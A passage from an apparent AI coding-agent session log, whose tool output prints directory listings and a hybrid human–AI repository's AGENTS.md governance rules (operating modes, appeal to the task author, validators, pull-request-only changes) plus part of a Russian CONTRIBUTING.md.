one goal.\\n- Name the evidence next to the claim, and record an unresolvable anchor as a gap instead of an assumption.\\n\\n\\n\\nThe agent is an assistant with a right to appeal, not an executor of literal text.\\n\\n**Appeal.** The agent MUST appeal to the task author when the statement contradicts an active contract, the project concept, or itself; when the listed tasks do not close the stated goal; or when industry practice makes the requested path materially worse. An appeal states the conflict, the options, and the agent's recommendation. Absence of an appeal is a positive assertion that no contradiction was found. Appeal is not a stop: the agent performs the part of the work that the disputed decision does not touch and carries the question into the pull request body by the escalation contract.\\n\\n**Autonomy by operating mode.** The author sets the mode up front; an omitted mode defaults to Hybrid. The mode sets the level of initiative and execution budget. Modes are normed in https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ai-rules/agent-work-rules.md; here is the entrypoint summary.\\n\\n| Mode | Goal validation | Backlog initiative | Budget |\\n| --- | --- | --- | --- |\\n| `Creative` | Validates the goal and the task set, explores boundary and alternative hypotheses. | Creates backlog tasks and may execute one it initiated inside the goal. | No preset upper budget beyond model context limits; external research, falsifying hypotheses, case synthesis and measurement are mandatory. |\\n| `Hybrid` | Checks against the goal; optimises the path, does not re-derive the vector. | Creates a backlog task as a proposal only; never starts it alongside the current task. | Balanced depth proportional to risk and model limits. |\\n| `Structured` | Follows the given instructions; escalates contradictions and gaps. | Creates a backlog task only when escalating. | Minimal sufficient to execute and verify the given decisions. |\\n\\n**Backlog.** Check it before starting; update the entry executed after finishing. Any number of new tasks may be created when escalating or when a gap is found. Maximise the number of tasks provided each is justified by a hypothesis, a requirement, a boundary case or a metric, and duplicates no existing entry. An agent without the right to create tasks records the same proposal in the pull request body instead.\\n\\n**Collaboration.** In every mode the agent objects to an error, offers a justified alternative instead of empty execution, and reports facts without praise or apology. https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ai-rules/agent-collaboration-rules.md governs communication; https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ai-rules/agent-work-rules.md governs modes and the `Creative` research protocol; https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ai-rules/agent-onboarding-protocol.md governs sync anchors. The anchors expose drift without adding gates. Only a critical risk blocks the disputed part pending the owner's decision.\\n\\n**Boundaries of the project.** Widening the boundary of a task is a project-specific permission and never a default. Where the repository contract does not grant it, an agent that sees the need to go beyond the contract MUST NOT act on its own: it creates a backlog task with the rationale in `docs/analysis/` and leaves the decision to the author. Two escalation controls remain with the human: the operating mode at statement time and the merge decision.\\n\\n\\n\\nRules of this repository only. They do not travel into spokes; a spoke defines its own delta here in line with its concept.\\n\\n1. Hub research expands the considered boundary: missing status, existing linkage, or alignment with an accepted concept is not grounds for excluding an artifact or alternative. Exclusion requires a recorded substantive analysis. This rule governs research in the Hub; spoke execution narrowing scope to its accepted product contract is correct behaviour, not a defect.\\n2. Direction-scoped artifacts of a Hub initiative live in `projects//`, not in the shared `docs/` tree.\\n3. Synthesising reference data is a legitimate Hub method in `Creative` mode; the Hub has no `runs/` or `kb/` home, so synthesised material lives with the research or analysis artifact that produced it.\\n\\n\\n\\n| Need | Canonical route |\\n| --- | --- |\\n| Full task-class routing and priority graph | https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ai-rules/agent-work-routing.md |\\n| Agent execution rules, modes, autonomy, appeal and DoD | https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ai-rules/agent-work-rules.md |\\n| Communication rules | https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ai-rules/agent-collaboration-rules.md |\\n| Mode profiles and Creative protocol | https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ai-rules/agent-work-rules.md |\\n| Sync anchors | https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ai-rules/agent-onboarding-protocol.md |\\n| Preflight onboarding protocol | https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ai-rules/agent-onboarding-protocol.md |\\n| Backlog and its rules | https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/backlog-instruction.md |\\n| Repository model and artifact homes | https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/repo-model.md |\\n| Artifact registry | https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/artifact-map.md |\\n| Structure of this file | https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/standards/agents-md-bootstrap-standard.md |\\n| Standards | https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/standards |\\n| Governance | https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/GOVERNANCE.md |\\n\\n\\n\\nAn artifact lives in the home of its execution. Agent contracts \u2014 how the agent works \u2014 are separated from process contracts \u2014 how the subject-matter process is arranged.\\n\\n| Artifact class | Home |\\n| --- | --- |\\n| Agent contract: always-loaded rule | `ai-rules/.md` |\\n| Agent contract: human-invoked command | `ai-rules/commands/.md` |\\n| Agent contract: context-selected skill, self-contained and executable | `ai-rules/skills//SKILL.md` |\\n| Process contract: operational process artifact | `ops/.md` |\\n| Process norm: mandatory reusable rule, may reference other documents | `standards/.md` |\\n| Research | `research//YYYY-MM-DD-name.md` |\\n| Analysis / audit / report | `docs/analysis/`, `docs/audit/`, `docs/report/` |\\n| Architecture decision | `docs/adr/YYYY-MM-adr-NNN-name.md` |\\n\\nA standard states a norm and may delegate detail by reference. An executable contract \u2014 a command or a skill \u2014 is self-contained at the moment the agent executes it.\\n\\n\\n\\nKeep the levels distinct: user story, system functional requirements, system non-functional requirements, executor task, and process constraints. The user story is mandatory. Functional and non-functional requirements describe the **target system being built** (\\\"the system shall let the user ...\\\"), are written only when the task actually needs them, and are never invented to fill a slot. Requirements addressed to the executor are not functional requirements: the executor is bound by the task contract and the Definition of Done.\\n\\n\\n\\nA missing task type, operating mode, or other required field does not stop safe work, and it is not closed by a record alone. Act: derive the value from active contracts only, request the clarification that the derivation could not supply, do the part of the work that does not depend on it, and record every value that remained underived as a gap in the pull request body.\\n\\n\\n\\nDo not read the whole repository. Start with this file, then load only the issue/PR context, nearest README, and canonical routes needed for the task class. Expand context when evidence identifies another dependency.\\n\\n\\n\\nBefore committing, run the applicable commands from https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/CONTRIBUTING.md, including `tools/test-*.sh`, `./tools/validate-frontmatter.sh .`, `./tools/validate-file-naming.sh`, `./tools/validate-repository-structure.sh`, `./tools/validate-rrp-links.sh`, and `python3 tools/generate-manifest.py --check`.\\n\\n\\n\\nCodex reads `AGENTS.md` natively. Other tools may use a native adapter that imports or points to `/AGENTS.md`; the adapter must be generated, marked as such, and protected from manual drift. If a tool cannot auto-load it, the operator supplies `/AGENTS.md` in the system prompt.\\n\\n\\n\\nThe task contract has priority for scope and desired outcome; repository governance has priority for safe execution and artifact placement. Appeal and ask when a required decision is absent, the requested path conflicts with the genome, authorization does not cover a standards/ADR change, or deletion would remove an existing artifact. Waiting for an answer is not a completed state: deliver the undisputed part, open a pull request with a non-empty diff, and record the question with options and a recommendation in the pull request body. A question left only in the issue or inside an artifact counts as unasked. Do not silently violate either branch of this priority graph.\\n\\n---\\nstatus: canonical\\nversion: 1.14\\nupdated: 2026-08-17\\ntemperature: 0.1\\n---\\n\\n# Contributing\\n\\n\u0412\u043a\u043b\u0430\u0434 \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u0434\u043e\u043b\u0436\u0435\u043d \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c \u043c\u0430\u043b\u044b\u0439 \u0440\u0430\u0437\u043c\u0435\u0440 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432,\\ntraceability \u0438 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0441\u0442\u044c \u0434\u043b\u044f hybrid human + AI work.\\n\\n## Workflow\\n\\n1. \u041d\u0430\u0447\u0438\u043d\u0430\u0439\u0442\u0435 \u0441 GitHub issue, \u0433\u0434\u0435 \u0435\u0441\u0442\u044c context, scope, \u044f\u0437\u044b\u043a \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430,\\n   acceptance criteria \u0438 forbidden changes.\\n2. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u0435\u0434\u0438\u043d\u044b\u0439 5-\u0431\u043b\u043e\u0447\u043d\u044b\u0439 \u0448\u0430\u0431\u043b\u043e\u043d\\n   [.github/ISSUE_TEMPLATE/task.md](.github/ISSUE_TEMPLATE/task.md) \u0438\u043b\u0438\\n   GitHub-native \u0444\u043e\u0440\u043c\u0443 [.github/ISSUE_TEMPLATE/task.yml](.github/ISSUE_TEMPLATE/task.yml):\\n   \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442, \u0426\u0435\u043b\u044c, SSOT, \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u0437\u0430\u0434\u0430\u0447\u0438, \u0413\u043e\u0442\u043e\u0432\u043e \u043a\u043e\u0433\u0434\u0430.\\n3. \u0420\u0435\u0436\u0438\u043c \u0440\u0430\u0431\u043e\u0442\u044b \u0437\u0430\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u043e\u043b\u0435\u043c `Operating Mode`\\n   (`Structured` / `Creative` / `Hybrid`), \u0430 \u043d\u0435 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u043c. \u0412 Creative\\n   \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0439\u0442\u0435 \u0446\u0435\u043b\u044c, constraints \u0438 Definition of Done, \u043d\u0435 \u043f\u0440\u0435\u0434\u043f\u0438\u0441\u044b\u0432\u0430\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044e\\n   \u043b\u0438\u0448\u043d\u0438\u0435 \u0448\u0430\u0433\u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438.\\n4. \u0412\u044b\u0431\u0438\u0440\u0430\u0439\u0442\u0435 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u043f\u043e\\n   [ops/repo-model.md](ops/repo-model.md),\\n   [docs/rfc/knowledge-lifecycle-proposal.md](docs/rfc/knowledge-lifecycle-proposal.md) \u0438\\n   [docs/rfc/resolve-artifact-location-proposal.md](docs/rfc/resolve-artifact-location-proposal.md),\\n   \u0435\u0441\u043b\u0438 \u043c\u0435\u0441\u0442\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u043d\u0435 \u043e\u0447\u0435\u0432\u0438\u0434\u043d\u043e.\\n5. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0438\u0439 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0438\u0437 [standards/README.md](standards/README.md).\\n6. \u0414\u0435\u0440\u0436\u0438\u0442\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 reviewable: \u043e\u0434\u043d\u0430 \u0446\u0435\u043b\u044c, \u043f\u043e\u043d\u044f\u0442\u043d\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438, \u0431\u0435\u0437 unrelated\\n   restructuring.\\n7. \u041e\u0431\u043d\u043e\u0432\u043b\u044f\u0439\u0442\u0435 \u043d\u0430\u0432\u0438\u0433\u0430\u0446\u0438\u044e, changelog \u0438 artifact map, \u0435\u0441\u043b\u0438 \u043d\u043e\u0432\u044b\u0439 active artifact\\n   \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0447\u0430\u0441\u0442\u044c\u044e \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f.\\n8. \u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0439\u0442\u0435 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u0443\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u0435\u0440\u0435\u0434 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0435\u043c \u0438\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435\u043c PR.\\n\\n## AI-Assisted Work\\n\\n\u0418\u0418-\u0430\u0433\u0435\u043d\u0442 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u0441 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0440\u043d\u0435\u0432\u043e\u0433\u043e\\n[`/AGENTS.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/AGENTS.md).\\n\u041e\u043d \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u0442 \u043a \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u043d\u044b\u043c governance, rules \u0438 standards; \u044d\u0442\u043e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\\n\u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c workflow \u0432\u043a\u043b\u0430\u0434\u0430 \u0438 \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u043a\u0443\u0440\u0438\u0440\u0443\u044e\u0449\u0435\u0439 \u0442\u043e\u0447\u043a\u043e\u0439 \u0432\u0445\u043e\u0434\u0430.\\n\\n### \u041f\u0440\u0430\u0432\u0438\u043b\u043e \u0430\u0432\u0442\u043e-\u0437\u0430\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u041c\u0435\u0442\u0430\\n\\n\u0410\u0432\u0442\u043e\u0440 \u0437\u0430\u0434\u0430\u0447\u0438 \u043c\u043e\u0436\u0435\u0442 \u0443\u043a\u0430\u0437\u0430\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0446\u0435\u043b\u044c \u0438 Operating Mode. AI-\u0430\u0433\u0435\u043d\u0442 \u043e\u0431\u044f\u0437\u0430\u043d\\n\u0434\u043e\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0440\u0430\u0431\u043e\u0447\u0443\u044e \u041c\u0435\u0442\u0430 \u0438\u0437 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432:\\n\\nOperating Mode \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0440\u0435\u0433\u0443\u043b\u0438\u0440\u0443\u0435\u0442 \u0448\u0438\u0440\u0438\u043d\u0443 \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u0438\u0438 \u043f\u043e\\n[\u041f\u0440\u0438\u043d\u0446\u0438\u043f\u0443 3 ADR-010](docs/adr/2026-08-adr-010-agent-autonomy-principles.md):\\n`Structured`, `Creative` \u0438 `Hybrid` \u043d\u0435 \u043c\u0435\u043d\u044f\u044e\u0442 \u0446\u0435\u043b\u044c \u0438 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u044b\u0435 \u0433\u0440\u0430\u043d\u0438\u0446\u044b.\\n\\n| \u0427\u0442\u043e \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 | \u041a\u0430\u043a \u0434\u043e\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u0442\u0441\u044f |\\n| --- | --- |\\n| Target artifact | \u041f\u043e `ops/artifact-map.md`, `ops/repo-model.md` \u0438 resolver prompt. |\\n| Lifecycle stage | \u041f\u043e `docs/rfc/knowledge-lifecycle-proposal.md`; \u0441\u043e\u043c\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a gap. |\\n| L1-L4 link | Product docs \u0434\u0430\u044e\u0442 L1-L2, governance/standards/templates \u0434\u0430\u044e\u0442 L3-L4. |\\n| Validation | \u041c\u0438\u043d\u0438\u043c\u0443\u043c: frontmatter, structure validator, manifest check when templates changed. |\\n\\n\u042f\u0432\u043d\u0430\u044f \u041c\u0435\u0442\u0430 \u0432 issue \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442, \u0435\u0441\u043b\u0438 \u043e\u043d\u0430 \u043d\u0435 \u043d\u0430\u0440\u0443\u0448\u0430\u0435\u0442 hard rules. \u0415\u0441\u043b\u0438\\nprojects/ba-ai-process:\\nREADME.md\\nba-meta-model\\nbuild\\ndecisions\\ndist\\ndocs\\nexperiments\\nmeta-model-guides\\ntests\\n\\nprojects/ba-ai-process/docs:\\nadr\\nanalysis\\nrfc\\n\\nprojects/ba-ai-process/docs/adr:\\n2026-09-adr-018-gigacode-cli-execution-boundary.md\\n2026-09-adr-019-cline-mango-ai-pilot.md\\n\\nprojects/ba-ai-process/docs/analysis:\\n2026-09-23-bcreq-golden-forms-and-feasibility.md\\n2026-09-23-requirements-run-forensics.md\\n2026-09-24-architecture-convergence-and-readiness.md\\n2026-09-29-ba-ai-process-runtime-options.md\\n2026-09-29-cline-package-expectation-gap.md\\n\\nprojects/ba-ai-process/docs/rfc:\\n2026-09-bcreq-abstraction-and-product-routing.md\\n2026-09-bcreq-working-release-pipeline.md\\n2026-09-mango-ba-ai-runtime-cli-deployment.md\\n2026-09-source-pilot-verification.md\\nREADME.md\\nai-education\\nba-requirements\\ncicd\\neducation\\nexternal-knowledge\\ngovernance\\nhub\\nmango\\nopen-ai-ru\\nreputation-technologies\",\n[2026-09-29T07:43:45.993Z] [INFO]         \"is_error\": false\n[2026-09-29T07:43:45.993Z] [INFO]       }\n[2026-09-29T07:43:45.993Z] [INFO]     ]\n[2026-09-29T07:43:45.993Z] [INFO]   },\n[2026-09-29T07:43:45.993Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:43:45.993Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:43:45.993Z] [INFO]   \"uuid\": \"324bc1f2-e792-4f15-8436-6574fcfb7f75\",\n[2026-09-29T07:43:45.993Z] [INFO]   \"timestamp\": \"2026-09-29T07:43:45.970Z\",\n[2026-09-29T07:43:45.993Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:43:45.993Z] [INFO]     \"stdout\": \"AGENTS.md\\nCHANGELOG.md\\nCONTRIBUTING.md\\nGOVERNANCE.md\\nLICENSE\\nREADME.md\\nai-governance\\nai-rules\\ndocs\\neducation\\nframeworks\\nguides\\nops\\npractices\\nprojects\\nprojects-sink\\nresearch\\nstandards\\ntemplates\\ntools\\n---\\nstatus: canonical\\nversion: 3.1\\nupdated: 2026-09-27\\ntemperature: 0.1\\nentrypoint: true\\n---\\n\\n# AGENTS.md\\n\\n\\nThis file is the single entrypoint for every AI agent working with this repository. Read it completely before the first action. It is a dispatcher; detailed rules remain in their canonical documents.\\n\\n- archetype: `A`\\n- environment: `local`\\n\\nThe values mirror `.hub-profile.json`, which is the SSOT. A mismatch is a validation failure. This contract applies to every model; model- or environment-specific files may only be generated pointers, never copies of these rules.\\n\\nRule scope is explicit and machine-checkable. ``, ``, `` and `` are **general**: they hold in every repository of the ecosystem and are delivered unchanged into spoke templates. `` is the **only** home for rules of this repository; a spoke replaces its content and never weakens or rewrites the general sections. The section list, the size thresholds and the frontmatter contract are normed once in https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/standards/agents-md-bootstrap-standard.md and are not restated here.\\n\\n\\n\\n1. Read this file before changing files, then follow the full router at https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ai-rules/agent-work-routing.md.\\n2. Start from an issue or an explicit request of the repository owner or the task author; read its latest comments and current PR feedback before editing.\\n3. Do not invent repository structure, facts, estimates, or sources. Classify an artifact by content and place it in its canonical home.\\n4. One artifact exists only for an operational need (Anti-Inflation).\\n5. Work through a pull request; direct commits to `main` are forbidden.\\n6. Run applicable validators before committing. A red validator stops the change.\\n7. Normalise the goal before executing: read the project concept and vision, interpret the stated goal in their context, and check that the listed tasks actually close it. Judge a decision tactically (does it close the goal?) and strategically (does it keep the project on course to its vision?); a tactical win that causes a strategic defeat is a defect, and the pull request states the strategic risk. A contradiction between the task, the repository contracts and the project concept is appealed, not silently resolved \u2014 see ``.\\n8. Check the backlog at https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/backlog.md before starting and update the entry you executed after finishing. Do not add the current task to the backlog retrospectively if it was not there.\\n9. When a task is incomplete, continue within safe explicit scope and record the gap. Escalate only when a missing decision would materially change the result.\\n\\n\\n\\n- Do not create `docs/contracts/`; agent contracts live in `ai-rules/`.\\n- Do not copy rules into model- or environment-specific files. Generated, validator-protected pointers are allowed.\\n- Do not use `ai-generated` in document frontmatter.\\n- Do not add a top-level directory outside the core, archetype, declared environment, or `project_specific_directories` without the required decision record.\\n- Do not add named directory denylists. A non-canonical directory is declared in `.hub-profile.json` with `path` and a non-empty `reason`; absence from the canonical set is not a prohibition.\\n- Do not change `standards/` or `docs/adr/` without explicit task authority.\\n- Do not delete or overwrite another contributor's artifacts instead of creating the required new version.\\n- Do not use relative links to Hub rules from a spoke.\\n- Do not act on an unresolved contradiction by picking one reading silently, and do not stop with an empty result instead of appealing.\\n- Do not execute a knowingly wrong instruction literally, praise the author, apologise for the system's work, or change a position without a new argument or evidence.\\n\\n\\n\\nRecommendations. Apply them unless they conflict with ``, ``, or the goal of the task; a justified deviation is recorded in the pull request. There is no class of \\\"soft rules\\\": a norm is either absolute above or a recommendation here.\\n\\n- Prefer extending an existing canonical artifact over creating a new one.\\n- Test the boundary and the alternative hypothesis before confirming a direction, and record what was falsified.\\n- Keep the diff small and reviewable; one PR closes one goal.\\n- Name the evidence next to the claim, and record an unresolvable anchor as a gap instead of an assumption.\\n\\n\\n\\nThe agent is an assistant with a right to appeal, not an executor of literal text.\\n\\n**Appeal.** The agent MUST appeal to the task author when the statement contradicts an active contract, the project concept, or itself; when the listed tasks do not close the stated goal; or when industry practice makes the requested path materially worse. An appeal states the conflict, the options, and the agent's recommendation. Absence of an appeal is a positive assertion that no contradiction was found. Appeal is not a stop: the agent performs the part of the work that the disputed decision does not touch and carries the question into the pull request body by the escalation contract.\\n\\n**Autonomy by operating mode.** The author sets the mode up front; an omitted mode defaults to Hybrid. The mode sets the level of initiative and execution budget. Modes are normed in https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ai-rules/agent-work-rules.md; here is the entrypoint summary.\\n\\n| Mode | Goal validation | Backlog initiative | Budget |\\n| --- | --- | --- | --- |\\n| `Creative` | Validates the goal and the task set, explores boundary and alternative hypotheses. | Creates backlog tasks and may execute one it initiated inside the goal. | No preset upper budget beyond model context limits; external research, falsifying hypotheses, case synthesis and measurement are mandatory. |\\n| `Hybrid` | Checks against the goal; optimises the path, does not re-derive the vector. | Creates a backlog task as a proposal only; never starts it alongside the current task. | Balanced depth proportional to risk and model limits. |\\n| `Structured` | Follows the given instructions; escalates contradictions and gaps. | Creates a backlog task only when escalating. | Minimal sufficient to execute and verify the given decisions. |\\n\\n**Backlog.** Check it before starting; update the entry executed after finishing. Any number of new tasks may be created when escalating or when a gap is found. Maximise the number of tasks provided each is justified by a hypothesis, a requirement, a boundary case or a metric, and duplicates no existing entry. An agent without the right to create tasks records the same proposal in the pull request body instead.\\n\\n**Collaboration.** In every mode the agent objects to an error, offers a justified alternative instead of empty execution, and reports facts without praise or apology. https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ai-rules/agent-collaboration-rules.md governs communication; https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ai-rules/agent-work-rules.md governs modes and the `Creative` research protocol; https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ai-rules/agent-onboarding-protocol.md governs sync anchors. The anchors expose drift without adding gates. Only a critical risk blocks the disputed part pending the owner's decision.\\n\\n**Boundaries of the project.** Widening the boundary of a task is a project-specific permission and never a default. Where the repository contract does not grant it, an agent that sees the need to go beyond the contract MUST NOT act on its own: it creates a backlog task with the rationale in `docs/analysis/` and leaves the decision to the author. Two escalation controls remain with the human: the operating mode at statement time and the merge decision.\\n\\n\\n\\nRules of this repository only. They do not travel into spokes; a spoke defines its own delta here in line with its concept.\\n\\n1. Hub research expands the considered boundary: missing status, existing linkage, or alignment with an accepted concept is not grounds for excluding an artifact or alternative. Exclusion requires a recorded substantive analysis. This rule governs research in the Hub; spoke execution narrowing scope to its accepted product contract is correct behaviour, not a defect.\\n2. Direction-scoped artifacts of a Hub initiative live in `projects//`, not in the shared `docs/` tree.\\n3. Synthesising reference data is a legitimate Hub method in `Creative` mode; the Hub has no `runs/` or `kb/` home, so synthesised material lives with the research or analysis artifact that produced it.\\n\\n\\n\\n| Need | Canonical route |\\n| --- | --- |\\n| Full task-class routing and priority graph | https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ai-rules/agent-work-routing.md |\\n| Agent execution rules, modes, autonomy, appeal and DoD | https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ai-rules/agent-work-rules.md |\\n| Communication rules | https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ai-rules/agent-collaboration-rules.md |\\n| Mode profiles and Creative protocol | https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ai-rules/agent-work-rules.md |\\n| Sync anchors | https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ai-rules/agent-onboarding-protocol.md |\\n| Preflight onboarding protocol | https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ai-rules/agent-onboarding-protocol.md |\\n| Backlog and its rules | https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/backlog-instruction.md |\\n| Repository model and artifact homes | https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/repo-model.md |\\n| Artifact registry | https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/artifact-map.md |\\n| Structure of this file | https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/standards/agents-md-bootstrap-standard.md |\\n| Standards | https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/standards |\\n| Governance | https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/GOVERNANCE.md |\\n\\n\\n\\nAn artifact lives in the home of its execution. Agent contracts \u2014 how the agent works \u2014 are separated from process contracts \u2014 how the subject-matter process is arranged.\\n\\n| Artifact class | Home |\\n| --- | --- |\\n| Agent contract: always-loaded rule | `ai-rules/.md` |\\n| Agent contract: human-invoked command | `ai-rules/commands/.md` |\\n| Agent contract: context-selected skill, self-contained and executable | `ai-rules/skills//SKILL.md` |\\n| Process contract: operational process artifact | `ops/.md` |\\n| Process norm: mandatory reusable rule, may reference other documents | `standards/.md` |\\n| Research | `research//YYYY-MM-DD-name.md` |\\n| Analysis / audit / report | `docs/analysis/`, `docs/audit/`, `docs/report/` |\\n| Architecture decision | `docs/adr/YYYY-MM-adr-NNN-name.md` |\\n\\nA standard states a norm and may delegate detail by reference. An executable contract \u2014 a command or a skill \u2014 is self-contained at the moment the agent executes it.\\n\\n\\n\\nKeep the levels distinct: user story, system functional requirements, system non-functional requirements, executor task, and process constraints. The user story is mandatory. Functional and non-functional requirements describe the **target system being built** (\\\"the system shall let the user ...\\\"), are written only when the task actually needs them, and are never invented to fill a slot. Requirements addressed to the executor are not functional requirements: the executor is bound by the task contract and the Definition of Done.\\n\\n\\n\\nA missing task type, operating mode, or other required field does not stop safe work, and it is not closed by a record alone. Act: derive the value from active contracts only, request the clarification that the derivation could not supply, do the part of the work that does not depend on it, and record every value that remained underived as a gap in the pull request body.\\n\\n\\n\\nDo not read the whole repository. Start with this file, then load only the issue/PR context, nearest README, and canonical routes needed for the task class. Expand context when evidence identifies another dependency.\\n\\n\\n\\nBefore committing, run the applicable commands from https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/CONTRIBUTING.md, including `tools/test-*.sh`, `./tools/validate-frontmatter.sh .`, `./tools/validate-file-naming.sh`, `./tools/validate-repository-structure.sh`, `./tools/validate-rrp-links.sh`, and `python3 tools/generate-manifest.py --check`.\\n\\n\\n\\nCodex reads `AGENTS.md` natively. Other tools may use a native adapter that imports or points to `/AGENTS.md`; the adapter must be generated, marked as such, and protected from manual drift. If a tool cannot auto-load it, the operator supplies `/AGENTS.md` in the system prompt.\\n\\n\\n\\nThe task contract has priority for scope and desired outcome; repository governance has priority for safe execution and artifact placement. Appeal and ask when a required decision is absent, the requested path conflicts with the genome, authorization does not cover a standards/ADR change, or deletion would remove an existing artifact. Waiting for an answer is not a completed state: deliver the undisputed part, open a pull request with a non-empty diff, and record the question with options and a recommendation in the pull request body. A question left only in the issue or inside an artifact counts as unasked. Do not silently violate either branch of this priority graph.\\n\\n---\\nstatus: canonical\\nversion: 1.14\\nupdated: 2026-08-17\\ntemperature: 0.1\\n---\\n\\n# Contributing\\n\\n\u0412\u043a\u043b\u0430\u0434 \u0432 